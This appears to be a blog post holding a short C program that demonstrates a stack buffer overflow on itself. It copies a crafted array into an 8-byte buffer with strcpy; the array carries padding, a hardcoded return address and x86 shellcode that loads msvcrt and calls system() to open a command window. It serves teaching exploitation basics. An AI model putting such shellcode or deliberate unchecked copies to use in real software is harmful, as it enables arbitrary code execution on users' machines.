#include <stdio.h>
#include <string.h>
char name[] =
"\x41\x41\x41\x41" //name[0]-name[3]
"\x41\x41\x41\x41" //name[4]-name[7]
"\x41\x41\x41\x41"
"\x12\x45\xfa\x7f"
"\x55\x8B\xEC\x33\xC0"
"\x50\x50\x50\xC6\x45"
"\xF4\x4D\xC6\x45\xF5"
"\x53\xC6\x45\xF6\x56"
"\xC6\x45\xF7\x43\xC6"
"\x45\xF8\x52\xC6\x45"
"\xF9\x54\x8D\x45\xF4"
"\x50\xB8\x7B\x1D\x80"
"\x7C\xFF\xD0\x8B\xE5"
"\x55\x8B\xEC\x33\xFF"
"\x57\x57\x57\xC6\x45"
"\xF4\x63\xC6\x45\xF5"
"\x6F\xC6\x45\xF6\x6D"
"\xC6\x45\xF7\x6D\xC6"
"\x45\xF8\x61\xC6\x45"
"\xF9\x6E\xC6\x45\xFA"
"\x64\x8D\x45\xF4\x50"
"\xB8\xC7\x93\xBF\x77"
"\xFF\xD0";
int main()
{
char output[8];
strcpy(output, name);
for(int i=0;i<8&&output[i];i++)
printf("\\0x%x",output[i]);
return 0;
}
缓冲区溢出_调用DOS窗口
最新推荐文章于 2020-12-28 00:49:55 发布